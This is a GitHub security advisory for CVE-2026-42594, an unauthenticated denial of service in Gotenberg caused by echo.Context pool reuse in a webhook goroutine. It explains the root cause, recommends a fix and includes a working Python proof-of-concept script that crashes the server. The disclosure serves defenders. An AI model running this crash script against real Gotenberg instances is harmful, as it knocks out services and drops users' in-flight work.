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Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine

High severity GitHub Reviewed Published Apr 30, 2026 in gotenberg/gotenberg • Updated May 14, 2026

Package

gomod github.com/gotenberg/gotenberg/v8 (Go)

Affected versions

<= 8.31.0

Patched versions

8.32.0

Description

Summary

The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.

Details

pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:

w.asyncCount.Add(1)
go func() {
    defer cancel()
    defer w.asyncCount.Add(-1)

    err := next(c)                    // line 343
    ...
    sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()

return api.ErrAsyncProcess             // line 382

pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:

if errors.Is(err, ErrAsyncProcess) {
    return c.NoContent(http.StatusNoContent)
}

Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:

return func(c echo.Context) error {
    logger := c.Get("logger").(*slog.Logger)   // line 398

    ...
    go func() {
        defer func() { if r := recover(); r != nil { ... } }()   // recover is scoped here
        errChan <- next(c)
    }()

If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.

No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.

Proof of Concept

Reproduction on the stock Docker image with default configuration:

docker run -d --name gotenberg-poc -p 3000:3000 \
    -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error

Single-process stress script (Alice sends both streams, no second actor):

import requests, subprocess, time, json, threading

TARGET  = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"   # passes default webhook-deny-list
STOP    = threading.Event()
html    = b"<html><body><h1>Q</h1></body></html>"

def webhook_fire():
    s = requests.Session()
    while not STOP.is_set():
        try:
            s.post(
                f"{TARGET}/forms/chromium/convert/html",
                files={"files": ("index.html", html, "text/html")},
                headers={
                    "Gotenberg-Webhook-Url":       WEBHOOK,
                    "Gotenberg-Webhook-Error-Url": WEBHOOK,
                },
                timeout=15,
            )
        except: pass

def noise_fire():
    s = requests.Session()
    while not STOP.is_set():
        try: s.get(f"{TARGET}/version", timeout=2)
        except: pass

for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire,   daemon=True).start()

t0 = time.time()
while time.time() - t0 < 60:
    time.sleep(1)
    status = json.loads(subprocess.run(
        ["docker", "inspect", "gotenberg-poc"],
        capture_output=True, text=True, check=True).stdout)[0]["State"]
    if status["Status"] != "running":
        print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}")
        STOP.set()
        break

Observed output:

process crashed after 2.2s, exit code 2

Container stderr captured with docker logs gotenberg-poc:

panic: interface conversion: interface {} is nil, not *slog.Logger
goroutine 287020 [running]:
    /home/pkg/modules/api/middlewares.go:398 +0x2e6
    /home/pkg/modules/webhook/middleware.go:343 +0xec
created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2
    /home/pkg/modules/webhook/middleware.go:338 +0x1176

Impact

Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (--restart=always, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.

Recommended Fix

Replace the unchecked type assertion at pkg/modules/api/middlewares.go:398 with a guarded lookup that handles the pool-reuse case:

logger, _ := c.Get("logger").(*slog.Logger)
if logger == nil {
    return errors.New("context reused from pool before middleware chain populated it")
}

Also add a defer recover() at the top of the webhook goroutine body at pkg/modules/webhook/middleware.go:338 so any future panic downstream does not kill the process:

go func() {
    defer func() {
        if r := recover(); r != nil {
            ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r))
            handleError(fmt.Errorf("internal error: %v", r))
        }
    }()
    defer cancel()
    defer w.asyncCount.Add(-1)
    ...
}()

A deeper fix detaches echo.Context from api.Context before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear ctx.echoCtx so downstream code cannot reach the pooled context.


Found by aisafe.io

References

@gulien gulien published to gotenberg/gotenberg Apr 30, 2026
Published to the GitHub Advisory Database May 7, 2026
Reviewed May 7, 2026
Published by the National Vulnerability Database May 14, 2026
Last updated May 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(4th percentile)

Weaknesses

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Learn more on MITRE.

CVE ID

CVE-2026-42594

GHSA ID

GHSA-r33j-c622-r6qp

Source code

Credits

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